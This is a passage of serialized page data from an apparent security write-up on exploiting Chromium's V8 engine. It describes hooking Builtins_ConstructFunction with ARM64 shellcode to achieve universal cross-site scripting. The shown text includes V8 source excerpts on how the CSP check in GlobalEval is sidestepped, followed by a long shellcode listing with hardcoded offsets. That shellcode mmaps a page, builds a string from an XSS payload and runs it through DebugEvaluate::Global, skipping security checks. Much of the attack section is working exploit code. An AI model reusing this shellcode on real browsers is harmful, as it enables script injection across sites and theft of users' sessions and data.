#16\n",{"type":23,"tag":230,"props":142188,"children":142189},{"class":232,"line":960},[142190],{"type":23,"tag":230,"props":142191,"children":142192},{},[142193],{"type":29,"value":142194},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":230,"props":142196,"children":142197},{"class":232,"line":969},[142198],{"type":23,"tag":230,"props":142199,"children":142200},{},[142201],{"type":29,"value":142202},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":230,"props":142204,"children":142205},{"class":232,"line":4526},[142206],{"type":23,"tag":230,"props":142207,"children":142208},{},[142209],{"type":29,"value":142210},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":230,"props":142212,"children":142213},{"class":232,"line":4534},[142214],{"type":23,"tag":230,"props":142215,"children":142216},{},[142217],{"type":29,"value":142218},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":230,"props":142220,"children":142221},{"class":232,"line":4542},[142222],{"type":23,"tag":230,"props":142223,"children":142224},{},[142225],{"type":29,"value":142226},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":230,"props":142228,"children":142229},{"class":232,"line":4559},[142230],{"type":23,"tag":230,"props":142231,"children":142232},{},[142233],{"type":29,"value":142234},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":230,"props":142236,"children":142237},{"class":232,"line":4587},[142238],{"type":23,"tag":230,"props":142239,"children":142240},{},[142241],{"type":29,"value":142242},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":230,"props":142244,"children":142245},{"class":232,"line":4595},[142246],{"type":23,"tag":230,"props":142247,"children":142248},{},[142249],{"type":29,"value":142250},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":230,"props":142252,"children":142253},{"class":232,"line":4619},[142254],{"type":23,"tag":230,"props":142255,"children":142256},{},[142257],{"type":29,"value":142258},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":230,"props":142260,"children":142261},{"class":232,"line":4627},[142262],{"type":23,"tag":230,"props":142263,"children":142264},{},[142265],{"type":29,"value":142266},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":230,"props":142268,"children":142269},{"class":232,"line":4659},[142270],{"type":23,"tag":230,"props":142271,"children":142272},{},[142273],{"type":29,"value":142274},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":230,"props":142276,"children":142277},{"class":232,"line":4671},[142278],{"type":23,"tag":230,"props":142279,"children":142280},{"emptyLinePlaceholder":18},[142281],{"type":29,"value":459},{"type":23,"tag":230,"props":142283,"children":142284},{"class":232,"line":4688},[142285],{"type":23,"tag":230,"props":142286,"children":142287},{},[142288],{"type":29,"value":142289},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":230,"props":142291,"children":142292},{"class":232,"line":4701},[142293],{"type":23,"tag":230,"props":142294,"children":142295},{},[142296],{"type":29,"value":142297},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":230,"props":142299,"children":142300},{"class":232,"line":4724},[142301],{"type":23,"tag":230,"props":142302,"children":142303},{},[142304],{"type":29,"value":142305},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":230,"props":142307,"children":142308},{"class":232,"line":4741},[142309],{"type":23,"tag":230,"props":142310,"children":142311},{},[142312],{"type":29,"value":142313},"// where to return\n",{"type":23,"tag":230,"props":142315,"children":142316},{"class":232,"line":4759},[142317],{"type":23,"tag":230,"props":142318,"children":142319},{},[142320],{"type":29,"value":142321},"mov x4, lr\n",{"type":23,"tag":230,"props":142323,"children":142324},{"class":232,"line":4768},[142325],{"type":23,"tag":230,"props":142326,"children":142327},{"emptyLinePlaceholder":18},[142328],{"type":29,"value":459},{"type":23,"tag":230,"props":142330,"children":142331},{"class":232,"line":4776},[142332],{"type":23,"tag":230,"props":142333,"children":142334},{},[142335],{"type":29,"value":142336},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":230,"props":142338,"children":142339},{"class":232,"line":4784},[142340],{"type":23,"tag":230,"props":142341,"children":142342},{},[142343],{"type":29,"value":142344},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":230,"props":142346,"children":142347},{"class":232,"line":4792},[142348],{"type":23,"tag":230,"props":142349,"children":142350},{"emptyLinePlaceholder":18},[142351],{"type":29,"value":459},{"type":23,"tag":230,"props":142353,"children":142354},{"class":232,"line":4824},[142355],{"type":23,"tag":230,"props":142356,"children":142357},{},[142358],{"type":29,"value":142359},"ret x4\n",{"type":23,"tag":32,"props":142361,"children":142362},{},[142363,142365,142370,142372,142377,142379,142385],{"type":29,"value":142364},"At this point, we have successfully hooked ",{"type":23,"tag":71,"props":142366,"children":142368},{"className":142367},[],[142369],{"type":29,"value":141247},{"type":29,"value":142371}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":71,"props":142373,"children":142375},{"className":142374},[],[142376],{"type":29,"value":141763},{"type":29,"value":142378}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":71,"props":142380,"children":142382},{"className":142381},[],[142383],{"type":29,"value":142384},"Builtins_GlobalEval",{"type":29,"value":312},{"type":23,"tag":32,"props":142387,"children":142388},{},[142389,142394,142396,142401,142403,142408],{"type":23,"tag":71,"props":142390,"children":142392},{"className":142391},[],[142393],{"type":29,"value":142384},{"type":29,"value":142395}," takes a single ",{"type":23,"tag":71,"props":142397,"children":142399},{"className":142398},[],[142400],{"type":29,"value":49698},{"type":29,"value":142402}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":71,"props":142404,"children":142406},{"className":142405},[],[142407],{"type":29,"value":2229},{"type":29,"value":218},{"type":23,"tag":220,"props":142410,"children":142412},{"code":142411,"language":31419,"meta":7,"className":31417,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[142413],{"type":23,"tag":71,"props":142414,"children":142415},{"__ignoreMap":7},[142416,142429,142436,142443,142486,142508,142534],{"type":23,"tag":230,"props":142417,"children":142418},{"class":232,"line":233},[142419,142424],{"type":23,"tag":230,"props":142420,"children":142421},{"style":294},[142422],{"type":29,"value":142423},"BUILTIN",{"type":23,"tag":230,"props":142425,"children":142426},{"style":274},[142427],{"type":29,"value":142428},"(GlobalEval) {\n",{"type":23,"tag":230,"props":142430,"children":142431},{"class":232,"line":243},[142432],{"type":23,"tag":230,"props":142433,"children":142434},{"style":274},[142435],{"type":29,"value":128932},{"type":23,"tag":230,"props":142437,"children":142438},{"class":232,"line":252},[142439],{"type":23,"tag":230,"props":142440,"children":142441},{"emptyLinePlaceholder":18},[142442],{"type":29,"value":459},{"type":23,"tag":230,"props":142444,"children":142445},{"class":232,"line":280},[142446,142451,142456,142460,142465,142469,142473,142477,142482],{"type":23,"tag":230,"props":142447,"children":142448},{"style":274},[142449],{"type":29,"value":142450},"  if (!Builtins::",{"type":23,"tag":230,"props":142452,"children":142453},{"style":676},[142454],{"type":29,"value":142455},"AllowDynamicFunction",{"type":23,"tag":230,"props":142457,"children":142458},{"style":274},[142459],{"type":29,"value":302},{"type":23,"tag":230,"props":142461,"children":142462},{"style":676},[142463],{"type":29,"value":142464},"isolate",{"type":23,"tag":230,"props":142466,"children":142467},{"style":274},[142468],{"type":29,"value":684},{"type":23,"tag":230,"props":142470,"children":142471},{"style":676},[142472],{"type":29,"value":116857},{"type":23,"tag":230,"props":142474,"children":142475},{"style":274},[142476],{"type":29,"value":684},{"type":23,"tag":230,"props":142478,"children":142479},{"style":676},[142480],{"type":29,"value":142481},"target_global_proxy",{"type":23,"tag":230,"props":142483,"children":142484},{"style":274},[142485],{"type":29,"value":37480},{"type":23,"tag":230,"props":142487,"children":142488},{"class":232,"line":334},[142489,142494,142498,142503],{"type":23,"tag":230,"props":142490,"children":142491},{"style":262},[142492],{"type":29,"value":142493},"    isolate",{"type":23,"tag":230,"props":142495,"children":142496},{"style":274},[142497],{"type":29,"value":16084},{"type":23,"tag":230,"props":142499,"children":142500},{"style":294},[142501],{"type":29,"value":142502},"CountUsage",{"type":23,"tag":230,"props":142504,"children":142505},{"style":274},[142506],{"type":29,"value":142507},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":230,"props":142509,"children":142510},{"class":232,"line":371},[142511,142515,142520,142525,142530],{"type":23,"tag":230,"props":142512,"children":142513},{"style":866},[142514],{"type":29,"value":4427},{"type":23,"tag":230,"props":142516,"children":142517},{"style":294},[142518],{"type":29,"value":142519}," ReadOnlyRoots",{"type":23,"tag":230,"props":142521,"children":142522},{"style":274},[142523],{"type":29,"value":142524},"(isolate).",{"type":23,"tag":230,"props":142526,"children":142527},{"style":294},[142528],{"type":29,"value":142529},"undefined_value",{"type":23,"tag":230,"props":142531,"children":142532},{"style":274},[142533],{"type":29,"value":2140},{"type":23,"tag":230,"props":142535,"children":142536},{"class":232,"line":391},[142537],{"type":23,"tag":230,"props":142538,"children":142539},{"style":274},[142540],{"type":29,"value":1331},{"type":23,"tag":32,"props":142542,"children":142543},{},[142544,142546,142551],{"type":29,"value":142545},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":71,"props":142547,"children":142549},{"className":142548},[],[142550],{"type":29,"value":17904},{"type":29,"value":142552}," block.",{"type":23,"tag":32,"props":142554,"children":142555},{},[142556],{"type":29,"value":142557},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":220,"props":142559,"children":142561},{"code":142560,"language":31419,"meta":7,"className":31417,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142562],{"type":23,"tag":71,"props":142563,"children":142564},{"__ignoreMap":7},[142565,142576,142583,142590,142597,142605,142617,142625,142642,142672,142680,142692],{"type":23,"tag":230,"props":142566,"children":142567},{"class":232,"line":233},[142568,142572],{"type":23,"tag":230,"props":142569,"children":142570},{"style":294},[142571],{"type":29,"value":142423},{"type":23,"tag":230,"props":142573,"children":142574},{"style":274},[142575],{"type":29,"value":142428},{"type":23,"tag":230,"props":142577,"children":142578},{"class":232,"line":243},[142579],{"type":23,"tag":230,"props":142580,"children":142581},{"emptyLinePlaceholder":18},[142582],{"type":29,"value":459},{"type":23,"tag":230,"props":142584,"children":142585},{"class":232,"line":252},[142586],{"type":23,"tag":230,"props":142587,"children":142588},{"style":274},[142589],{"type":29,"value":128932},{"type":23,"tag":230,"props":142591,"children":142592},{"class":232,"line":280},[142593],{"type":23,"tag":230,"props":142594,"children":142595},{"emptyLinePlaceholder":18},[142596],{"type":29,"value":459},{"type":23,"tag":230,"props":142598,"children":142599},{"class":232,"line":334},[142600],{"type":23,"tag":230,"props":142601,"children":142602},{"style":274},[142603],{"type":29,"value":142604},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":230,"props":142606,"children":142607},{"class":232,"line":371},[142608,142613],{"type":23,"tag":230,"props":142609,"children":142610},{"style":294},[142611],{"type":29,"value":142612},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":230,"props":142614,"children":142615},{"style":274},[142616],{"type":29,"value":619},{"type":23,"tag":230,"props":142618,"children":142619},{"class":232,"line":391},[142620],{"type":23,"tag":230,"props":142621,"children":142622},{"style":274},[142623],{"type":29,"value":142624},"      isolate, function,\n",{"type":23,"tag":230,"props":142626,"children":142627},{"class":232,"line":400},[142628,142633,142638],{"type":23,"tag":230,"props":142629,"children":142630},{"style":274},[142631],{"type":29,"value":142632},"      Compiler::",{"type":23,"tag":230,"props":142634,"children":142635},{"style":294},[142636],{"type":29,"value":142637},"GetFunctionFromValidatedString",{"type":23,"tag":230,"props":142639,"children":142640},{"style":274},[142641],{"type":29,"value":619},{"type":23,"tag":230,"props":142643,"children":142644},{"class":232,"line":444},[142645,142650,142654,142658,142662,142667],{"type":23,"tag":230,"props":142646,"children":142647},{"style":294},[142648],{"type":29,"value":142649},"          direct_handle",{"type":23,"tag":230,"props":142651,"children":142652},{"style":274},[142653],{"type":29,"value":302},{"type":23,"tag":230,"props":142655,"children":142656},{"style":262},[142657],{"type":29,"value":116857},{"type":23,"tag":230,"props":142659,"children":142660},{"style":274},[142661],{"type":29,"value":16084},{"type":23,"tag":230,"props":142663,"children":142664},{"style":294},[142665],{"type":29,"value":142666},"native_context",{"type":23,"tag":230,"props":142668,"children":142669},{"style":274},[142670],{"type":29,"value":142671},"(), isolate), source,\n",{"type":23,"tag":230,"props":142673,"children":142674},{"class":232,"line":453},[142675],{"type":23,"tag":230,"props":142676,"children":142677},{"style":274},[142678],{"type":29,"value":142679},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":230,"props":142681,"children":142682},{"class":232,"line":462},[142683,142688],{"type":23,"tag":230,"props":142684,"children":142685},{"style":294},[142686],{"type":29,"value":142687},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":230,"props":142689,"children":142690},{"style":274},[142691],{"type":29,"value":619},{"type":23,"tag":230,"props":142693,"children":142694},{"class":232,"line":471},[142695,142700,142705],{"type":23,"tag":230,"props":142696,"children":142697},{"style":274},[142698],{"type":29,"value":142699},"      isolate, Execution::",{"type":23,"tag":230,"props":142701,"children":142702},{"style":294},[142703],{"type":29,"value":142704},"Call",{"type":23,"tag":230,"props":142706,"children":142707},{"style":274},[142708],{"type":29,"value":142709},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":32,"props":142711,"children":142712},{},[142713,142715,142720,142722,142728,142730,142736,142738,142744],{"type":29,"value":142714},"But determining the correct ",{"type":23,"tag":71,"props":142716,"children":142718},{"className":142717},[],[142719],{"type":29,"value":116857},{"type":29,"value":142721}," value, obtaining ",{"type":23,"tag":71,"props":142723,"children":142725},{"className":142724},[],[142726],{"type":29,"value":142727},"target->native_context()",{"type":29,"value":142729},", and locating the ",{"type":23,"tag":71,"props":142731,"children":142733},{"className":142732},[],[142734],{"type":29,"value":142735},"direct_handle",{"type":29,"value":142737}," function, just to make a proper call to ",{"type":23,"tag":71,"props":142739,"children":142741},{"className":142740},[],[142742],{"type":29,"value":142743},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":142745},", seemed unnecessarily cumbersome.",{"type":23,"tag":32,"props":142747,"children":142748},{},[142749,142751,142757],{"type":29,"value":142750},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":71,"props":142752,"children":142754},{"className":142753},[],[142755],{"type":29,"value":142756},"DebugEvaluate::Global",{"type":29,"value":142758},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":32,"props":142760,"children":142761},{},[142762],{"type":29,"value":142763},"For our needs, it is straightforward to call:",{"type":23,"tag":220,"props":142765,"children":142767},{"code":142766,"language":31419,"meta":7,"className":31417,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[142768],{"type":23,"tag":71,"props":142769,"children":142770},{"__ignoreMap":7},[142771,142819,142848,142869],{"type":23,"tag":230,"props":142772,"children":142773},{"class":232,"line":233},[142774,142779,142783,142787,142792,142797,142801,142806,142810,142815],{"type":23,"tag":230,"props":142775,"children":142776},{"style":676},[142777],{"type":29,"value":142778},"MaybeDirectHandle",{"type":23,"tag":230,"props":142780,"children":142781},{"style":274},[142782],{"type":29,"value":8143},{"type":23,"tag":230,"props":142784,"children":142785},{"style":676},[142786],{"type":29,"value":50623},{"type":23,"tag":230,"props":142788,"children":142789},{"style":274},[142790],{"type":29,"value":142791},"> DebugEvaluate::",{"type":23,"tag":230,"props":142793,"children":142794},{"style":294},[142795],{"type":29,"value":142796},"Global",{"type":23,"tag":230,"props":142798,"children":142799},{"style":274},[142800],{"type":29,"value":302},{"type":23,"tag":230,"props":142802,"children":142803},{"style":676},[142804],{"type":29,"value":142805},"Isolate",{"type":23,"tag":230,"props":142807,"children":142808},{"style":256},[142809],{"type":29,"value":6909},{"type":23,"tag":230,"props":142811,"children":142812},{"style":262},[142813],{"type":29,"value":142814}," isolate",{"type":23,"tag":230,"props":142816,"children":142817},{"style":274},[142818],{"type":29,"value":388},{"type":23,"tag":230,"props":142820,"children":142821},{"class":232,"line":243},[142822,142827,142831,142835,142839,142844],{"type":23,"tag":230,"props":142823,"children":142824},{"style":676},[142825],{"type":29,"value":142826},"                                                Handle",{"type":23,"tag":230,"props":142828,"children":142829},{"style":274},[142830],{"type":29,"value":8143},{"type":23,"tag":230,"props":142832,"children":142833},{"style":676},[142834],{"type":29,"value":49698},{"type":23,"tag":230,"props":142836,"children":142837},{"style":274},[142838],{"type":29,"value":8158},{"type":23,"tag":230,"props":142840,"children":142841},{"style":262},[142842],{"type":29,"value":142843},"source",{"type":23,"tag":230,"props":142845,"children":142846},{"style":274},[142847],{"type":29,"value":388},{"type":23,"tag":230,"props":142849,"children":142850},{"class":232,"line":252},[142851,142856,142861,142865],{"type":23,"tag":230,"props":142852,"children":142853},{"style":274},[142854],{"type":29,"value":142855},"                                                debug::",{"type":23,"tag":230,"props":142857,"children":142858},{"style":676},[142859],{"type":29,"value":142860},"EvaluateGlobalMode",{"type":23,"tag":230,"props":142862,"children":142863},{"style":262},[142864],{"type":29,"value":108053},{"type":23,"tag":230,"props":142866,"children":142867},{"style":274},[142868],{"type":29,"value":388},{"type":23,"tag":230,"props":142870,"children":142871},{"class":232,"line":280},[142872,142877,142882],{"type":23,"tag":230,"props":142873,"children":142874},{"style":676},[142875],{"type":29,"value":142876},"                                                REPLMode",{"type":23,"tag":230,"props":142878,"children":142879},{"style":262},[142880],{"type":29,"value":142881}," repl_mode",{"type":23,"tag":230,"props":142883,"children":142884},{"style":274},[142885],{"type":29,"value":753},{"type":23,"tag":32,"props":142887,"children":142888},{},[142889,142891,142896,142898,142903,142905,142910,142912,142918,142919,142925],{"type":29,"value":142890},"We must supply the ",{"type":23,"tag":71,"props":142892,"children":142894},{"className":142893},[],[142895],{"type":29,"value":142464},{"type":29,"value":142897}," pointer, a ",{"type":23,"tag":71,"props":142899,"children":142901},{"className":142900},[],[142902],{"type":29,"value":49698},{"type":29,"value":142904}," object containing our XSS payload as ",{"type":23,"tag":71,"props":142906,"children":142908},{"className":142907},[],[142909],{"type":29,"value":142843},{"type":29,"value":142911},", and the ",{"type":23,"tag":71,"props":142913,"children":142915},{"className":142914},[],[142916],{"type":29,"value":142917},"mode",{"type":29,"value":112},{"type":23,"tag":71,"props":142920,"children":142922},{"className":142921},[],[142923],{"type":29,"value":142924},"repl_mode",{"type":29,"value":142926}," values, which are simple enum literals.",{"type":23,"tag":32,"props":142928,"children":142929},{},[142930,142932,142937,142939,142945,142947,142952,142954,142959,142961,142967,142969,142975,142977,142982,142984,142989,142991,142996,142998,143003],{"type":29,"value":142931},"To obtain the ",{"type":23,"tag":71,"props":142933,"children":142935},{"className":142934},[],[142936],{"type":29,"value":142464},{"type":29,"value":142938}," pointer within our shellcode, we call ",{"type":23,"tag":71,"props":142940,"children":142942},{"className":142941},[],[142943],{"type":29,"value":142944},"Isolate::TryGetCurrent()",{"type":29,"value":142946},", which returns the current ",{"type":23,"tag":71,"props":142948,"children":142950},{"className":142949},[],[142951],{"type":29,"value":142464},{"type":29,"value":142953},". To construct a valid ",{"type":23,"tag":71,"props":142955,"children":142957},{"className":142956},[],[142958],{"type":29,"value":49698},{"type":29,"value":142960}," object holding our payload, we call ",{"type":23,"tag":71,"props":142962,"children":142964},{"className":142963},[],[142965],{"type":29,"value":142966},"v8::String::NewFromUTF8",{"type":29,"value":142968},". This ",{"type":23,"tag":71,"props":142970,"children":142972},{"className":142971},[],[142973],{"type":29,"value":142974},"NewFromUTF8",{"type":29,"value":142976}," function takes four arguments: the ",{"type":23,"tag":71,"props":142978,"children":142980},{"className":142979},[],[142981],{"type":29,"value":142464},{"type":29,"value":142983},", the string bytes as ",{"type":23,"tag":71,"props":142985,"children":142987},{"className":142986},[],[142988],{"type":29,"value":6037},{"type":29,"value":142990},", an enum literal specifying the string type, and ",{"type":23,"tag":71,"props":142992,"children":142994},{"className":142993},[],[142995],{"type":29,"value":10839},{"type":29,"value":142997},", which is the size of the ",{"type":23,"tag":71,"props":142999,"children":143001},{"className":143000},[],[143002],{"type":29,"value":6037},{"type":29,"value":19485},{"type":23,"tag":32,"props":143005,"children":143006},{},[143007],{"type":29,"value":143008},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":220,"props":143010,"children":143012},{"code":143011,"language":141300,"meta":7,"className":141301,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[143013],{"type":23,"tag":71,"props":143014,"children":143015},{"__ignoreMap":7},[143016,143024,143032,143040,143048,143056,143064,143072,143080,143088,143096,143104,143112,143119,143127,143135,143143,143151,143158,143166,143173,143181,143189,143196,143203,143210,143217,143224,143231,143239,143247,143254,143262,143270,143277,143285,143293,143300,143307,143315,143323,143331,143338,143346,143354,143362,143370,143378,143386,143394,143402,143410,143418,143426,143433,143441,143449,143456,143464,143472,143480,143488,143495,143503,143510,143517,143525,143533,143541,143549,143558,143567,143575],{"type":23,"tag":230,"props":143017,"children":143018},{"class":232,"line":233},[143019],{"type":23,"tag":230,"props":143020,"children":143021},{},[143022],{"type":29,"value":143023},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":230,"props":143025,"children":143026},{"class":232,"line":243},[143027],{"type":23,"tag":230,"props":143028,"children":143029},{},[143030],{"type":29,"value":143031},"movz x1, #0xf7a0\n",{"type":23,"tag":230,"props":143033,"children":143034},{"class":232,"line":252},[143035],{"type":23,"tag":230,"props":143036,"children":143037},{},[143038],{"type":29,"value":143039},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":230,"props":143041,"children":143042},{"class":232,"line":280},[143043],{"type":23,"tag":230,"props":143044,"children":143045},{},[143046],{"type":29,"value":143047},"add x9, x12, x1\n",{"type":23,"tag":230,"props":143049,"children":143050},{"class":232,"line":334},[143051],{"type":23,"tag":230,"props":143052,"children":143053},{},[143054],{"type":29,"value":143055},"movz x1, #0x5ac8\n",{"type":23,"tag":230,"props":143057,"children":143058},{"class":232,"line":371},[143059],{"type":23,"tag":230,"props":143060,"children":143061},{},[143062],{"type":29,"value":143063},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":230,"props":143065,"children":143066},{"class":232,"line":391},[143067],{"type":23,"tag":230,"props":143068,"children":143069},{},[143070],{"type":29,"value":143071},"add x0, x12, x1\n",{"type":23,"tag":230,"props":143073,"children":143074},{"class":232,"line":400},[143075],{"type":23,"tag":230,"props":143076,"children":143077},{},[143078],{"type":29,"value":143079},"blr x9\n",{"type":23,"tag":230,"props":143081,"children":143082},{"class":232,"line":444},[143083],{"type":23,"tag":230,"props":143084,"children":143085},{},[143086],{"type":29,"value":143087},"// *x0 is isolate pointer\n",{"type":23,"tag":230,"props":143089,"children":143090},{"class":232,"line":453},[143091],{"type":23,"tag":230,"props":143092,"children":143093},{},[143094],{"type":29,"value":143095},"// store isolate ptr to stack\n",{"type":23,"tag":230,"props":143097,"children":143098},{"class":232,"line":462},[143099],{"type":23,"tag":230,"props":143100,"children":143101},{},[143102],{"type":29,"value":143103},"ldr x13, [x0]\n",{"type":23,"tag":230,"props":143105,"children":143106},{"class":232,"line":471},[143107],{"type":23,"tag":230,"props":143108,"children":143109},{},[143110],{"type":29,"value":143111},"str x13, [sp, #-16]!\n",{"type":23,"tag":230,"props":143113,"children":143114},{"class":232,"line":500},[143115],{"type":23,"tag":230,"props":143116,"children":143117},{"emptyLinePlaceholder":18},[143118],{"type":29,"value":459},{"type":23,"tag":230,"props":143120,"children":143121},{"class":232,"line":514},[143122],{"type":23,"tag":230,"props":143123,"children":143124},{},[143125],{"type":29,"value":143126},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":230,"props":143128,"children":143129},{"class":232,"line":897},[143130],{"type":23,"tag":230,"props":143131,"children":143132},{},[143133],{"type":29,"value":143134},"movz x1, #0x1140\n",{"type":23,"tag":230,"props":143136,"children":143137},{"class":232,"line":960},[143138],{"type":23,"tag":230,"props":143139,"children":143140},{},[143141],{"type":29,"value":143142},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":230,"props":143144,"children":143145},{"class":232,"line":969},[143146],{"type":23,"tag":230,"props":143147,"children":143148},{},[143149],{"type":29,"value":143150},"sub x10, x12, x1\n",{"type":23,"tag":230,"props":143152,"children":143153},{"class":232,"line":4526},[143154],{"type":23,"tag":230,"props":143155,"children":143156},{"emptyLinePlaceholder":18},[143157],{"type":29,"value":459},{"type":23,"tag":230,"props":143159,"children":143160},{"class":232,"line":4534},[143161],{"type":23,"tag":230,"props":143162,"children":143163},{},[143164],{"type":29,"value":143165},"// mmap a RW page for our xss payload\n",{"type":23,"tag":230,"props":143167,"children":143168},{"class":232,"line":4542},[143169],{"type":23,"tag":230,"props":143170,"children":143171},{},[143172],{"type":29,"value":141516},{"type":23,"tag":230,"props":143174,"children":143175},{"class":232,"line":4559},[143176],{"type":23,"tag":230,"props":143177,"children":143178},{},[143179],{"type":29,"value":143180},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":230,"props":143182,"children":143183},{"class":232,"line":4587},[143184],{"type":23,"tag":230,"props":143185,"children":143186},{},[143187],{"type":29,"value":143188},"mov x2, #3\n",{"type":23,"tag":230,"props":143190,"children":143191},{"class":232,"line":4595},[143192],{"type":23,"tag":230,"props":143193,"children":143194},{},[143195],{"type":29,"value":141539},{"type":23,"tag":230,"props":143197,"children":143198},{"class":232,"line":4619},[143199],{"type":23,"tag":230,"props":143200,"children":143201},{},[143202],{"type":29,"value":141547},{"type":23,"tag":230,"props":143204,"children":143205},{"class":232,"line":4627},[143206],{"type":23,"tag":230,"props":143207,"children":143208},{},[143209],{"type":29,"value":141555},{"type":23,"tag":230,"props":143211,"children":143212},{"class":232,"line":4659},[143213],{"type":23,"tag":230,"props":143214,"children":143215},{},[143216],{"type":29,"value":141563},{"type":23,"tag":230,"props":143218,"children":143219},{"class":232,"line":4671},[143220],{"type":23,"tag":230,"props":143221,"children":143222},{},[143223],{"type":29,"value":141478},{"type":23,"tag":230,"props":143225,"children":143226},{"class":232,"line":4688},[143227],{"type":23,"tag":230,"props":143228,"children":143229},{"emptyLinePlaceholder":18},[143230],{"type":29,"value":459},{"type":23,"tag":230,"props":143232,"children":143233},{"class":232,"line":4701},[143234],{"type":23,"tag":230,"props":143235,"children":143236},{},[143237],{"type":29,"value":143238},"// write our xss payload to mmapped rw page\n",{"type":23,"tag":230,"props":143240,"children":143241},{"class":232,"line":4724},[143242],{"type":23,"tag":230,"props":143243,"children":143244},{},[143245],{"type":29,"value":143246},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":23,"tag":230,"props":143248,"children":143249},{"class":232,"line":4741},[143250],{"type":23,"tag":230,"props":143251,"children":143252},{"emptyLinePlaceholder":18},[143253],{"type":29,"value":459},{"type":23,"tag":230,"props":143255,"children":143256},{"class":232,"line":4759},[143257],{"type":23,"tag":230,"props":143258,"children":143259},{},[143260],{"type":29,"value":143261},"// store x11 = XSS_PAYLOAD string\n",{"type":23,"tag":230,"props":143263,"children":143264},{"class":232,"line":4768},[143265],{"type":23,"tag":230,"props":143266,"children":143267},{},[143268],{"type":29,"value":143269},"mov x11, 